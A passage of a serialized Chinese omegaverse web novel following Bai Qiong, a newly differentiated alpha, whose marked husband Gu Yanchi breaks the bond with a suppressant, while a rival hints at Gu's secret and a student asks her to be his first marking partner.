这种类似读心的感觉让白琼很不舒服。 更让她不舒服的是对方这样小心翼翼的近乎卑微的样子,这让她有一种照镜子的感觉。 现在的顾厌迟又何尝不是以前的白琼? 而且这样患得患失的日子她过了五年,甚至更久,在还没和顾厌迟结婚的时候她就已经在忍受了,忍受周围觊觎他的人,忍受自己日复一日烧灼的妒火。 他才不过堪堪开始而已。 “老婆?” 许久没有得到回应,顾厌迟有些慌,忙道:“抱歉,是不是我话太多惹你烦了?我不说了,你别生气。你想去就去,就算那个人真的很合你眼缘,签了就是,不用顾忌我。” 此刻的顾厌迟就像一只惊弓之鸟,时时刻刻都处于一种草木皆兵的惊慌中,紧张不安地等待着她判刑定量。 白琼看着顾厌迟肉眼可见变白的脸色,心头有一种说不出来的快意。 许久,久到对方快要承受不住漫长的精神凌迟后,她才微笑着道:“你未免把我想的太小心眼了,你能和我说这么多话我高兴还来不及怎么会生气呢。” 顾厌迟如释重负,下一秒又听白琼道—— “要知道你以前一个月都难回来一次,我想和你说话都难。” “对不起老婆,我……” “好了,别多想,我没有在怪你的意思。” 白琼打断了他的话,抬起手摸了摸他的脸。 “时间不早了,我先走了。你放心,就算那个代言人长得再好看我也不会多看一眼的。” 她是这样说的,可一小时后白琼就狠狠打了脸。 约见的地方不是顾厌迟的公司,而是白琼家附近的一家咖啡馆,因为这样比较方便。 来人在看见白琼的时候也很意外,来人不是别人,正是沈霁。 男人的那张脸依旧权威,可一段时间不见清瘦了不少,也憔悴了不少,那双漂亮的眉眼似蒙在清晨森林的雾中,透着一缕看不透的郁色。 说实话这副样子来面试,哪怕再好看也很难给人留下什么好印象,更何况白琼本身就对对方无甚好感。 对方的出现让白琼有一种猛地从梦境拽到现实的落差感。 她这段时间得到的温存是出于所谓的信息素和标记,眼前的人却不是,是顾厌迟真正的不受任何影响认可的人。 白琼深吸了一口气,压下心头翻涌的情绪,朝着沈霁微微颔首。 “沈先生,真巧,我们又见面了呢。” 沈霁也没想到时隔小半个月会再次见到白琼,神情恍惚了一瞬,以为自己出现了幻觉。 确定不是幻觉后他三两步走了过去,语气有些激动。 “白小姐!是你?真的是你!” 当初对方出手帮他解围,他一直都想要找机会当面感谢她,只是他回来的时候人已经离开了,沈霁还遗憾可能他们再也见不到了呢。 如今这样猝不及防地重逢,他像开到了一个想要的盲盒,充满惊喜。 在顾氏找上他合作的时候沈霁在准备比赛并不知道,因此他们找到的是沈父,这样一个香饽饽送上门来沈父自然没有不答应的。 如果是别的公司也就算了,偏偏是顾氏。 五年前的事情至今历历在目,沈霁光是想到顾厌迟的那张脸就恶心的反胃,可没办法,马上就要到沈母的热潮期了,身为omega的沈母早就被沈父完全标记了,即使他想要找身边可靠的alpha来帮她标记也无济于事。 为了不让沈母因为无法得到标记饱受热潮生不如死的折磨,沈霁不得不硬着头皮过来。 沈霁想着顾厌迟可能不知道来的人是他,要是提前看了他的资料早就把他给pass掉了,但也有可能对方也还记得当初的奇耻大辱,故意选中了他想要趁机羞辱刁难也不一定。 哈,真不知道那家伙怎么有脸做这种事的? 在还不知道他分化成了所谓的omega的时候他就发现了自己释放出的气息会有迷情致幻的作用,所以他通常在热潮期到来的那几天请假在家,谁曾想那时候他会突然二次发热。 更没想到顾厌迟竟然也和自己有同样的情况。 沈霁那时候怕出去影响到别人,突发热潮的时候躲在了器材室,结果进去没多久就闻到了一股浓烈的苦艾气息。 屋漏偏逢连夜雨,本就被热潮烧灼得快要意识不清的沈霁在对方信息素的影响下完全失控了,后者也是如此。 两人在同时出现了热潮,又“心有灵犀”的就近躲在了器材室,还一起失控了。 那一天真是灾难。 他们运气好也不好,好在他们似乎都是omega,所以信息素排斥,失去理智大打出手了之外并没有发生什么少儿不宜的龌龊事。 不好也在他们在彼此身上留下了太多痕迹,被热潮蒸腾的皮肤潮红一片,以至于等到周围人听到动静赶来的时候,看到他们因为太过虚弱倒在一起的样子引起了天大的误会。 以至于他们事后解释也没人相信,毕竟孤男寡男,又躲在那么一个隐蔽的地方,被看到的还是那副模样,能相信他们清白的就有鬼了。 于是顾厌迟恼羞成怒到干脆直接警告他们不准说出去,不然就让他们滚出A大,乃至鹿港。 迫于顾大少爷的淫/威,加上知道的人不多,所以那件事才没有被广而告之。 不过他们是“gay”的事情是没什么人知道,但流传出了一个没比前者恶心多少的说他和顾厌迟是亲密无间的挚友的谣言。 尘封的记忆在得知今天可能会见到顾厌迟那个讨人厌的家伙后再次被打开,好在来人不是顾厌迟。 沈霁悬着的心放了下来,唇角上扬的弧度更深了。 “是啊,真是太巧了,真没想到负责面试我的人竟然是白小姐。” 先前推门进来还一副死气沉沉,厌世冷淡的模样,此刻容光焕发得让人睁不开眼。 “我真的很高兴能再次见到你,不,我想说的是今天见到的人是你真是太好了。” 白琼被他突然的展颜弄得一愣,下意识忘了移开视线。 不光是他笑得实在好看,还因为她知道他说的话不是客套话,他是真的为见到自己而感到高兴。 因为……蝴蝶兰的气息溢出来了。 第29章 “真没想到白小姐竟然会是顾氏这边的工作人员, 不好意思让你久等了,我这边路上堵车,耽搁了点时间。” 白琼笑了下, “沈先生似乎总有事情耽搁。” 沈霁一愣, 神情有些尴尬, 因为不管是上次还是这次, 他都是有意拖延的。 “还是有一点不同的, 上次我是迟到了,这次总归是没有迟到不是?” 他很快调整好神情, 看了眼女人面前的咖啡。 空气里苦涩的味道让沈霁不可避免想到了顾厌迟那个讨人厌的家伙身上的信息素,他轻皱了下眉。 “怎么了?” 白琼留意到他这个细微的动作, “你不喜欢咖啡?” 沈霁摇了摇头,“没有, 我只是不怎么喜欢黑咖啡,太苦了。” “当然, 这只是我个人的观点,并没有对你的喜好指手画脚的意思。” 白琼被他这副略显小心的说话方式给逗笑了,本身他们之间就没有什么矛盾, 真要说矛盾也是她单方面的嫉妒心在作祟。 现在他们两人早就没了交集, 自己也得到了自己想要的,而且作为今天面试对方的一方, 带着偏见去面试也是一件很没水准的事情。 白琼调整了下自己的心态,语气平和道:“其实我也不大喜欢黑咖啡, 只是喝习惯了而已。” 因为顾厌迟喜欢,所以为了更贴近对方的生活习惯,白琼也就跟着喝了。 这么多年一直如此,即使她的舌头并不太喜欢这种苦涩的滋味, 长期以往也适应了。 “是为了提神吗?的确,虽然它有些苦但在提神方面的效果还挺一骑绝尘的。” 沈霁并不是一个很擅长聊天的人,在白琼没有继续抛话题后他就不知道该说什么了。 其实也不是真的不知道要说什么,尽管两人只是才见了两次面的陌生人,可沈霁和对方能聊的话题不少,比如感谢她上次的解围,比如主动探讨下合作方面的事宜,再比如就着咖啡方面延展地聊下去。 只是沈霁能看出对方的意兴阑珊。 她对自己并不感兴趣。 换作以前和自己洽谈合作问题的工作人员,他们会第一时间切入主题,尽快敲定合作事宜,不是沈霁自恋,无论是从外形还是能力方面他都有着绝对的优势,一般面试也只是走个过场,看看线下和线上的差别是否一致罢了。 而他还不怎么上镜,因此线下见过他的人只会感到满意而不会失望,然后迫不及待和他敲定合作事宜。 白琼却没有,她从刚才开始就没有提起关于合作的事情,只是喝着咖啡,有一搭没一搭跟他闲聊。 看来她并没有和他签合约的打算,沈霁应该松口气的,因为他也十万个不情愿和顾氏合作。 主动拒绝容易被穿小鞋,对方拒绝就另当别论了。 这是好事,可以省去不少的麻烦,但是沈霁心里却莫名有些不舒服。 大约是从小到大这张脸无往不利惯了,突然被这样冷淡地对待他多少会有落差。 况且……和白琼对他不咸不淡的态度不同,他对她还挺有好感的。 对方之前出手解围他是感激的,只是这和对她产生好感没有太大的关系。 只是因为白琼不会用那种让人恶心的眼神看他,而且她给人的感觉也很舒服,柔和无害,如同山间的溪水潺潺,清澈澄明。 沈霁想到最近讨论的热火朝天的进化论,眼眸微动,忍了又忍还是没忍住询问道:“那个,可以冒昧问你一个问题吗?” “你是omega吗?” 自从爆发了集中性热潮事件后,所有体温异常的人都会被强制带去医院做基因检测,目前确定了进化的人有近万人,还有逐渐递增的趋势。 但其中omega的数量是alpha数量的十分之一,甚至更少。 白琼顿了顿,“你为什么会这么问?” 一般分化成omega的人基本都有一副好相貌,白琼自觉不丑,却还没自恋到认为自己属于美人这一行列。 沈霁道:“因为我对信息素的控制并不稳定,但你对我的信息素反应并不强烈,所以我想你会不会是omega。” 白琼听到他这话才意识到似乎的确如此,上次见到他的时候自己可不是这样一副淡然自若的样子,好几次都差点儿失态。 要说这次和上次有什么不同,就只有标记了顾厌迟这一点。 看来标记不光影响的是被标记的一方,标记的一方也会受到影响,比如大大削弱异性的信息素对其的吸引力。 白琼摩挲着咖啡杯边缘,看着对方一脸好奇又隐隐紧张的神情,没有直接回答,而是把问题抛给了他。 “你希望我是omega呢还是alpha?又或者是毫无信息素的beta?” 沈霁下意识想要回答omega,但五年前和顾厌迟那场恶心的经历让他对omega并没有什么好印象,包括他自己这些年在不知道所谓进化分化的情况下也饱受热潮的折磨。 成为omega并不是一件好事。 可是比起omega他又更讨厌随时随地对着omega发情的alpha。 要是可以选的话他还是更希望眼前的人是个beta,她给人的气质也的确很像无害的beta。 “这是个很难回答的问题吗?” “不,不是。” 他抿着嘴唇,“我只是怕回答错了会让你对我更不满。” 白琼沉默了一瞬,第二次了。 今天第二次了。 自顾厌迟觉察到了她的情绪之后,眼前的人也发现了自己对他的真实态度。 她的表情管理是不好,却也没那么差,很显然又是感知到的。 omega的感知力都这么强吗?顾厌迟也就算了,毕竟他身上有她的标记,沈霁这个和自己不过两面之缘的omega怎么也这么敏锐? 搞得好像他有多了解自己一样。 怪恶心的。 白琼压下心头的烦躁,面上没有显露分毫。 “抱歉,我的确对你有所不满,不过并不是针对你个人,而是针对公司。我们本来很看好你的,不出意外的话今天我们就可以签约,只是你的状态实在有些糟糕……” 她的目光落在男人憔悴的面容上,叹了口气。 “如果我没看过你在球场上意气风发的样子也就算了,这样对比起来恕我直言,这次合作我们还要重新再考虑一下了。” “原来如此。” 沈霁在听到她是因为自己的状态而不满后反倒松了口气,弯着唇角道:“只要你不是对我这个人有什么不满就好,毕竟你上次帮了我,我还没有感谢你就惹你厌烦了的话那我真不知道该怎么办才好了。” 他似乎毫不在意她所说的可能会重新考虑合作的事情,也没有被她牵着鼻子走。 话题兜兜转转又回到了一开始。 “所以你能告诉我你分化成了什么吗?” 白琼一噎:“我以为你会在听到我说要重新考虑你之后好歹再争取一下,没想到竟然还揪着这样无关紧要的问题不放。我是什么性别很重要吗?重要的不该是努力拿下这份价值七位数的工作吗?” 看着女人脸上总算流露出了一点真实的情绪,沈霁心下轻快了不少,支着头注视着她说道:“说实话,我能以这副样子过来本身就是冲着被拒绝而来的,我精力有限,想要把精力更多放在后面的比赛上。” “那你就更不应该问这种无聊的对你没有任何用处的问题浪费时间。” 白琼很不爽,不光是因为对方傲慢的态度,还因为自己白跑了一趟。 “既然沈先生无意合作,那今天就到此为止了。” 她起身就要离开,蝴蝶兰的气息比她的动作更快。 在信息素快要碰触到白琼的腺体之前停了下来。 沈霁微喘着气,脸上不知什么时候染上绯色,“不好意思,我的信息素太任性了,它似乎很喜欢你。” “这么说可能有点冒昧,我之所以这么执着想知道你的性别是因为我的热潮期马上要到了,这次医生给我下了最后通牒,希望我尽快找到一个可以帮我进行标记的alpha,但我不想被信息素影响,所以他给了我另一个方案,让我找一个我不排斥的omega帮我进行信息素引导,疏解出体内淤积的信息素。” “我没从你身上感受到来自alpha的压迫感和侵略感,你又有腺体,我想有没有可能你也是omega?如果你是omega的话能请你帮我这个忙吗,只要你能帮我,我可以不收代言费为贵公司工作,或者你有什么别的要求我能做到的也会尽可能帮你完成。” 白琼冷笑道:“你未免也太自信了,我刚才不是说了和你的合作我会重新考虑吗?说的好像我们非要你不可似的。” 其实在某种程度上的确如此。 谁叫顾厌迟有个天大的把柄在他手上呢,尽管那个把柄自损一千伤敌八百。 但沈霁不想要拿这种把柄威胁白琼就范,人家帮了自己,他却恩将仇报,那太不是人了。 只是他真的很需要白琼的帮忙,找到一个自己不排斥的omega可比大海捞针还难。 下个月就是决赛了,热潮期又要持续小半个月,他没有多余的时间去找别的omega。 可自己能拿出什么让白琼无法拒绝的条件来做交换呢? 她对自己并不感兴趣,也不在意所谓的合作是否达成。 因为沈霁过于焦灼的情绪,蝴蝶兰的气息再次不受控制覆了过来。 白琼身上残留着的顾厌迟的信息素在排斥着对方,可属于alpha的本能又没办法真正抗拒一个omega的主动。 这样矛盾的拉扯让她很难受,更让她难受的是自己的“背叛”。 哪怕这只是信息素本能的吸引,白琼也很难接受。 她害怕继续待下去会出事,拿起包就要走—— “顾厌迟……” 白琼脚步猛地停了下来。 身后人沉声道:“如果我拿你们老板的秘密做交换呢?” “一个可以让你一步登天的秘密。” 第30章 白琼回到家的时候天已经完全暗了下来。 因为明天就是顾厌迟热潮期结束的日子, 所以她走之前留给他的标记比任何一次都要深,几乎是将能释放的信息素全都灌进了他的腺体。 刚完成分化的omega身体都很虚弱,苏芸女士说顾明台每次在她标记结束后都会陷入至少十小时以上的昏迷。 这导致白琼每次给他标记的时候, 即使对方一直索求她也不会过度放纵。 这次她没有收敛, 甚至害怕标记消失, 途中即使他承受不住哭着求她停下她也视若无睹。 因此今天是唯一一次她回来的时候男人没有第一时间出来迎接自己。 其实在她出门之前他就在强撑, 好几次都没站稳, 要不是白琼眼疾手快扶住他早就摔倒了。 空气里的苦艾气息平稳清浅,想来他在自己离开没多久就在标记下/体力不支而昏睡了过去。 白琼原本想要上楼去看看顾厌迟, 可沈霁的话又让她生生止住了脚步。 ——你老板可能不喜欢女人。 白琼当时在听到他这句话后笑了,给气笑了。 可能?所以他自己也不确定是吗?既然自己都不确定拿不出证据的事情还敢拿出来胡乱编排, 而且还是他的好友。 这哪里是什么好友,分明是仇人才对。 这样荒唐的事情白琼自然不会相信, 但她又没办法从对方的神情,信息素的变化上发现他说谎的痕迹。 而事实沈霁也的确没有说谎。 虽说当年他们因为同时处于热潮期造成了被人误以为性取向有问题的乌龙, 可他这边乌龙是真,顾厌迟就不一定了。 第一次或许是乌龙,可第二次呢。 在顾厌迟第二次热潮期的时候, 他身边的人还真以为他喜欢自己, 为了讨好他把自己直接强行掳走扔到了他面前。 本来以为两人信息素排斥对方不会对自己做什么,不曾想那一次的顾厌迟像是变了一个人, 竟然真的对他起了反应,差点儿标记了他。 因此沈霁不觉得把这种事情说出去让白琼当作拿捏顾厌迟, 从而飞黄腾达的把柄有什么心理负担的,毕竟对方这种不要脸的事情都做的出来,作为受害者的自己难不成还要为他保密不成。 之前不说是对方到底没有得逞,他那时候也刚好通过国际青年网球赛的选拔, 马上就要远赴国外,本着多一事不如少一事的想法。 沈霁没有说太多细节,准确来说是来不及说,刚说了一句话就被白琼怒不可遏地赶出去了。 白琼嘴上说着不相信,只是怀疑的种子已经埋下,不光是因为顾厌迟在此之前从不近女色,这次要不是受信息素影响也不可能和她发生关系。 还因为季青禾前段时间那句意味不明的话。 为什么不喜欢她又要答应和她结婚?是真的觉得无所谓和她结婚,还是觉得无所谓和哪个女人结婚? 白琼思绪纷乱地坐在沙发上,连什么时候信息素溢出来了都不知道。 要验证沈霁是不是胡说八道并不难,私自去调查也好,或者直接问沈霁或是季青禾都可以。 可是她不敢,哪怕只有万分之一的可能她也难以接受那个残忍的真相。 因为一时之间没办法面对顾厌迟,今晚白琼并没有和顾厌迟睡在一起,而是睡在了自己的房间。 她在床上辗转反侧,隔壁的人却睡得那么香甜,这让她感到很不公平。 好几次白琼都想要进去将顾厌迟摇醒,质问他沈霁说的事情究竟是真是假,可她也只是想想并没有付诸行动,毕竟她现在没有任何证据,就这样偏听偏信了旁人换位思考,要是她是顾厌迟的话肯定会很受伤。 当然,她指的是如今受标记影响的顾厌迟,要是换作平日的男人无论白琼说什么也不会真的受到伤害。 算了,别多想,顾厌迟不是那样的人,他就算再不喜欢自己再混蛋也不会做出那样的事情来。 再怎么说他们也算青梅竹马不是? 也不知道是不是这个心理安慰真的有用,还是她今天太累了,胡思乱想了一通后白琼很快就合上了沉重的眼皮睡着了。 只是睡着了归睡着了,却很不安稳。 因为她又做梦了,梦里这次没有那个讨人厌的沈霁。 她在梦里头一次看到了自己的身影。 白琼以上帝视角看着自己心神不宁地走进了顾厌迟的书房,她的脸色憔悴,眼下青黑,整个人看上去像三天三夜没睡觉一样,状态很不好。 顾厌迟的书房是和他的卧室一样不被允许她进入的,梦里的自己似乎也怕被发现,所以很是小心翼翼。 她轻手轻脚走到了书桌前将抽屉一个个拉开不知道在翻找写什么,在最后靠里的抽屉里,她不知看到了什么她瞳孔一缩,脸刷的一下白了。 这让白琼心下好奇,想要凑近去看,可好巧不巧她在这个时候醒了。 白琼不是自然醒的,而是被空气里的信息素给弄醒的。 原本因为标记而稳定下来的信息素翻涌着,竟比热潮期的时候反应还要强烈。 她以为顾厌迟出了什么意外,也顾不得穿鞋,慌忙跑到了他的房间。 “厌迟!” 白琼推门进去,原以为会看到男人和以往一样会因为清醒时候没看到自己而慌乱不安的样子,于是她下意识释放信息素想要安抚他的情绪。 可信息素被排斥了。 苦艾像一道凌厉的鞭子狠狠甩了过来,打得白琼措手不及。 她整个人愣在原地,原本应该相互吸引的信息素此刻却截然相反,准确来说是顾厌迟在单方面排斥自己。 为什么?他不是omega吗?不是被她标记过了吗?为什么会排斥自己呢? 白琼脑子嗡嗡的,缓了一会儿才嗅到了一丝苦涩的气息。 混在苦艾之下,不仔细感知很难觉察。 也是这个时候白琼才看到顾厌迟手中拿着一管注射剂,细长尖锐的针扎进腺体,剧烈的疼痛使得他面色肉眼可见的痛苦。 他紧咬着牙关,艰难的将药剂往腺体里推送。 白琼以为他是因为醒来没看到自己,情绪不稳定地自残,毕竟在之前这种情况也不是没出现过。 “厌迟,冷静点,把手上的东西放下,我在这里,不要做傻事。” 她一边安抚着一边试图上前想要把他手上的注射剂夺走,顾厌迟见她想要靠近,非但没有冷静下来推送的动作反而更快了。 腺体本身就是很敏感脆弱的地方,先前慢慢适应还好,此刻一下子注射进去后顾厌迟疼得身体抽搐,险些没坐稳从床上摔下来。 白琼赶紧上去搀扶—— 顾厌迟怒吼道:“别过来!” 那双充满着迷恋的眼睛此刻盛满了怒火,整张脸也因此显得有些狰狞扭曲。 以前顾厌迟不喜欢她,却从没有用这样的,近乎带着怨恨的眼神注视过她,白琼一时之间僵在了原地。 她嗫嚅着嘴唇,“厌迟,你怎么了?是不是因为我回来太晚,还是我没有回房和你睡所以你生气了?” 顾厌迟冰冷到刺骨的目光直直刺向白琼,脖颈上斑驳的痕迹证明着她们之前的温存是真实存在的,也正是因为如此,才显得此刻的冷漠有多么的让人如坠冰窟。 他喘着气,等到腺体上的疼痛缓下来后这才冷笑道:“不过是受到信息素的影响和你虚以委蛇了一场而已,你不会还真觉得我对你有多情根深种,多离不开你吧。” “你是不是很惊讶为什么在临走前标记了我,我却清醒过来了?” 顾厌迟将那管已经注射完的针管拿起来。 “知道这是什么吗?可以压制信息素的药剂。也不知道我是幸运还是不幸,偏偏在被你标记了之后下研发成功,好在我还有点理智,能勉强清醒的把它注射进去。不然的话我这辈子可能都要被你玩弄于股掌之中了。” 白琼想要解释,自己没有想要一辈子控制他,就像他抗拒不了信息素一样,她也同样如此。 可她没办法说出口,她的确被影响了,但她标记对方的时候却是清醒的。 他渴求于她,她又怎么忍心,有怎么可能拒绝呢? 白琼知道此刻怎么解释都是苍白的,标记了对方是事实,不想要他清醒过来也是事实。 只是她并没有自私到让他一辈子都活在标记的囚笼里,她只是有点贪心,想要和他温存的时间能再久一点而已。 “……对不起。” 白琼张了张嘴,明明有很多话想说,最后只干巴巴吐出了这么三个字来。 顾厌迟的怒火并没有因为她的道歉而平息,他死死攥着针管,针头刺入了肉里也没松开。 在药剂发挥作用后摆脱了对白琼那疯狂的迷恋后,那些原本觉得幸福餍足的画面充斥在脑海中。 他这些天就这样毫无尊严,糜乱不堪的在她身下求欢。 顾厌迟胃里一阵翻江倒海,恶心的想要吐出来。 不仅如此,更让他难以忍受的他的分化结果。 明明已经提前做了干预,明明在五年前发现自己可能会分化成omega后就注射过药剂,上次体检结果也显示他体内的omega基因基本上完全转化成了alpha基因。 可为什么,为什么他会分化成omega?—— 作者有话说:大家元宵节快乐,明天有事外出可能不更斯密马赛捏【】 30-40 第31章 白琼如何也没想到时隔半个月, 自己会再次回到杨清容的别墅。 这也是杨清容没想到的。 “你不是分化成了alpha吗,而且你还标记了他,我真是搞不懂了以前也就算了, 现在你明明占尽优势和先机, 怎么还被那家伙给拿捏?” 她语气颇为恨铁不成钢, 甚至有些失望了。 杨清容前些天得知白琼分化成了alpha, 而反之顾厌迟成了omega后可谓是大仇得报, 大快人心。 本身她还为沈霁没让她移情别恋而耿耿于怀,这样的美人都没办法让白琼动心, 看样子她这辈子都得吊死在顾厌迟这棵树上而郁闷不已,结果世界突然进化, 人分化成了六种性别。 alpha力量强大,和柔弱的omega 平庸的beta相比毫无疑问处于金字塔顶端。 更是在得知自己和白琼都分化成了alpha后, 激动得连夜开香槟。 她倒还好,在家里的处境本就受宠, 此刻只不过是地位更加水涨船高罢了,白琼不同,于她来说成为alpha的意义无异于是翻身农奴把歌唱。 尤其是在顾厌迟是omega的情况下。 她以为这次即使感情上白琼依旧是被动的一方, 可在力量上, 生理结构等各方面上她都占有绝对的优势,要想拿下一个区区顾.omega.厌迟还不是易如反掌。 可是谁知道呢, 梅开二度,她竟然又双被赶出来了。 “白琼, 即使你是我最好的朋友我也要说,你真的太丢我们女人,我们alpha的脸了。” 杨清容扶额,实在想不到都上天眷顾逆风翻盘了, 她怎么还能把事情搞遭。 “……我没被赶出来,无论是上次还是这一次都是我自己主动离开的。” 许久,白琼只能做出这样一句苍白的辩驳,来维持自己聊胜于无的体面。 “有什么不一样吗?不都还是怕顾厌迟?” 杨清容越说越气,“要我说你就是太有道德了,你标记了他又怎么样,有本事他拒绝啊。他自己都没办法从信息素的影响下摆脱,又凭什么迁怒你?他既享受了,又成功度过了热潮期,他还有什么不满?又当又立,既要又要,世上哪有那么便宜的事?” 对于自己这次为什么再次灰溜溜回来找她,白琼没有说太多,只说自己标记了顾厌迟,他无法接受。 至于其他的事情,她只字未提。 不是不信任杨清容,是自己脑子都还乱着,那些事情也暂时没有直接的证据去证明。 杨清容见她低着头不说话,从先前见到她到现在就这么一副失魂落魄的样子,她敏锐觉察到或许事情没有那么简单。 说句不好听的,白琼对顾厌迟热脸贴冷屁股可以说是十年如一日,但凡她真的玻璃心成这样早就放弃了,如今被打击成这种程度很显然是发生了比标记顾厌迟惹他生气还要更严重的事情。 而且既然白琼标记了顾厌迟,他怎么突然清醒了? 这个问题杨清容一开始就问了,可她不是转移话题就是避之不谈。 不过白琼不愿意说她也不好强行把人嘴巴撬开,如今当务之急不是怎么帮白琼重新获得顾厌迟的原谅,维系住他们这段岌岌可危的婚姻,而是热潮期的事情。 “白琼,其他的暂且不提,你之后打算怎么办?如果你还要去找顾厌迟,以他那比天高的自尊心,是绝对不可能把你标记他的事情当成什么都没发生过,也就是说你们重修于好的可能几乎为零,哦不,你们本来也就没好过。” 杨清容如今也不怕说太过太直白伤害到白琼了,事已至此,反而说得越清楚越好。 “虽然不知道他是怎么摆脱的标记的影响,但他短时间是不可能会需要alpha了,可你不一样,你的热潮期你要怎么解决,再厚着脸皮去找他吗?我劝你还是不要自取其辱,早些为你即将到来的热潮期做打算吧。” 杨清容也是前几天才度过了自己身为alpha的第一次热潮期,起初她并不知道该如何标记,如何控制信息素,被热潮折磨得生不如死。 后头昏死过去才被送去了医院,那时候已经有些晚了,热潮灼烧到了她的腺体,造成了损伤。 医生在被录入的分化数据库里找了好久才找到一个和她信息素比较契合的omega,那个omega也恰好需要钱,只要能用钱摆平的事情都不算事,标记进行得很顺利,她从来势汹汹的热潮期挺了过来。 但无论是alpha还是omega,对于初次标记对象都有极其强烈的雏鸟情结,短时间内很难接受别的异性的信息素,无论是身体上还是心理上。 杨清容和那个omega一个图人一个图钱,倒是可以合作共赢,白琼则不尽然。 顾厌迟现在明显已经摆脱了初次标记的雏鸟情结的影响,她似乎还深陷其中。 “如果你还把我当朋友就听我一句劝,在热潮期来临之前赶紧去找个信息素契合度高的omega做标记对象,把顾厌迟的信息素什么的都给覆盖了,不然小心被他到时候反过来像你之前影响他一样影响你。” 要是以牙还牙被对方报复回来倒也算公平,但偏偏不可能公平。 白琼在顾厌迟热潮期的时候对他可以说是有求必应,他想要就给,从没有做过什么强迫他意愿的事情来,后者则不可能在她热潮期的时候心甘情愿被她予取予夺。 那会出现什么情况呢?他冷眼看着她被热潮折磨在欲望的漩涡中越陷越深,无动于衷,甚至可能还会用信息素刺激她,让她更加痛苦。 杨清容从来都是以最坏的念头去想别人,尤其是顾厌迟这种冷心冷情的讨厌鬼。 “你别再那么死脑筋的觉得找别人帮忙标记是对你们婚姻的背叛,现在这情况可多了去了。有的夫妻都分化成了O或者A,他们各自找人解决热潮期,日子还不是睁一只眼闭一只眼照样过,同样的他不帮你,你不找别的omega难不成等着被烧死吗?” 其实白琼在听到杨清容提议让她找omega的时候,她并没有想着这是对顾厌迟对婚姻的背叛而觉得排斥和厌恶的,而是第一时间想着自己能找谁? 然后下一秒她的脑海中不受控制浮现出了沈霁的脸。 他恰好也要临近热潮期了,还主动求助了自己。 只是他想要找的是一个能帮他将多余的淤积在腺体中的信息素引导出来的omega,而不是一个alpha。 白琼当时完全被他所说的顾厌迟可能不喜欢女人的消息给砸懵了,以至于忘了告诉他这件事。 她想他之所以把她误认为是omega,是因为自己标记了顾厌迟,omega的气息中和了alpha的气息,在不释放信息素的前提下她既不会给沈霁带来alpha的压迫感,也不会让身上残留的omega的气息排斥他。 可是哪怕真的到了万不得已的情况,她也不愿意和沈霁接触。 一来是她不想欺骗对方,二来则是因为一看到沈霁那怀疑的种子就会不受控制地生根发芽。 白琼最后也不知道听没听进去杨清容的话,只说自己累了,然后就回了房间。 隔天一大早,昨晚还说自己累了早早就休息睡下的女人顶着两个黑眼圈下了楼。 甚至在下楼的途中要不是杨清容出声提醒,她还差点踩空摔下来。 “……你这样去学校真的没问题吗?” 白琼机械地吃着早饭,声音没有任何起伏回答道:“你不用担心,我昨晚睡眠很充足,一觉睡到了天亮。之所以气色看着不好是做了一个晦气的梦,不过只是梦而已,我不会当真的。” “什么晦气的梦?别不是梦到离婚了吧。” 空气陷入了死一样的寂静,白琼面无表情盯着杨清容,杨清容沉默了。 她抬手拍了下自己的嘴。 叫你嘴快,叫你嘴贫,叫你哪壶不开提哪壶。 不过看她这反应自己还真猜中了。 作为一名人民教师,还是兼任高三班主任的人民教师,哪怕情场再如何失意,也不能将情绪带到工作上,影响到学生们。 这是继进化事件,情况相对稳定后学校恢复上课的第一天,白琼深吸一口气,强打着精神地走进了办公室。 看到办公室里熟悉的同事白琼本来是有一种一切如旧的安心感的,直到她看到了不知何时在她办公位旁边等着的齐缜。 在看到少年的第一时间白琼的头就不可避免疼了起来。 他大早上来找她干什么?又和江峤打架了? 大约是白琼的表情太明显,齐缜在她询问前先一步解释道:“和江峤没关系,我今天是特意来找你的。” 白琼松了口气的同时更疑惑了。 “找我?” 少年微微颔首,视线在白琼脸上停留了好几秒,在后者皱眉之前垂下了眼帘。 “……到底什么事?快要上课了,你要是还没组织好语言可以等大课间的时候来找我。” 白琼看了眼时间,耐着性子说道。 齐缜能感觉到女人今天心情不佳,尽管她已经竭力隐藏了,可溢出的那一点儿琼花的气息把她烦躁的情绪暴露无遗。 他不着痕迹地嗅了嗅,腺体隐隐发热。 齐缜垂在两边的手攥紧,又松开,反复几次,这才像是下定了巨大的决心往前走近了一步,将安全距离逾越,压低声音,用只有两个人才能听到的音量对白琼开口。 “白老师,我有个不情之请。” 他睫毛颤了下,声音也有些抖。 “我想请你做我的初次标记对象,可以吗?” 第32章 “我想请你做我的初次标记对象, 可以吗?” 齐缜问出这个问题后紧张又尴尬到了极点,他很想要低头,但又强迫自己将目光落到白琼脸上。 看着白琼的神情从宕机一片的空白, 变成了震惊, 恍惚, 最后归于沉默。 沉默, 死一样的沉默。 一大一小大眼瞪小眼了许久, 一个难以置信的希望从对方脸上看出说笑的痕迹,一个紧抿着嘴唇, 生怕对方觉得自己是在开玩笑,认真地注视着对方的眼睛。 “……齐缜, 你知道自己在说什么吗?” 对于白琼的反应,齐缜早就预料到了。 他深吸了一口气, 说道:“白老师,我很清醒, 我知道我在说什么。而且我之所以找上你帮我这个忙并不是头脑发热突然一下子就决定的,我是经过深思熟虑的。” “如你所见我分化成了一个omega,虽然目前我对omega什么的并不是很了解, 但我知道标记, 作为被标记的一方,我很害怕自己被信息素影响盲目的对别人突然产生难以割舍的感情。可目前能抑制热潮期的药剂还没有研发出来, 因此标记不可避免。我的背景摆在那里,在我还不是omega的时候身边有心之人就很多, 现在更是络绎不绝地凑到我面前献殷勤,争着抢着想要做我的标记对象。” “只要是个正常人都不可能信任这些图谋不轨的人,我又是初次标记,更不敢接受他们所谓帮忙的示好。所以……” “所以你就找上了我?” 齐缜这番话说下来有理有据, 的的确确能看出是他经过思考才决定,而不是一拍脑门的心血来潮。 但正是如此,才让白琼那么不爽。 因为他考虑了这么多,唯独没有考虑到她会不会同意。 白琼气笑了,冷声道:“你为什么那么笃定我不会也是对你图谋不轨的人中的一员,因为我是老师你是学生?你是不是有点太看得起我了,还是太看轻你这个齐家少爷了?” 她只是单纯觉得对方太天真,虽说老师的确值得学生信任,不然怎么会有什么有问题找老师这种共识呢,可信任不代表绝对信任,在巨大的利益面前什么都不是。 帮忙标记一个omega或许没什么,alpha再道德败坏也不过是骗财骗色,但标记的对象是齐家的独苗苗的话,拿捏齐缜无异于把整个齐家攥在手心。 正在白琼想要教育少年,告诫他不要太信任他人,哪怕是他熟悉的人的时候,齐缜斩钉截铁道:“你不会。因为你爱顾厌迟。” 齐缜是学校少数几个知道她是顾厌迟妻子的人,可他明显并不是知道这么简单。 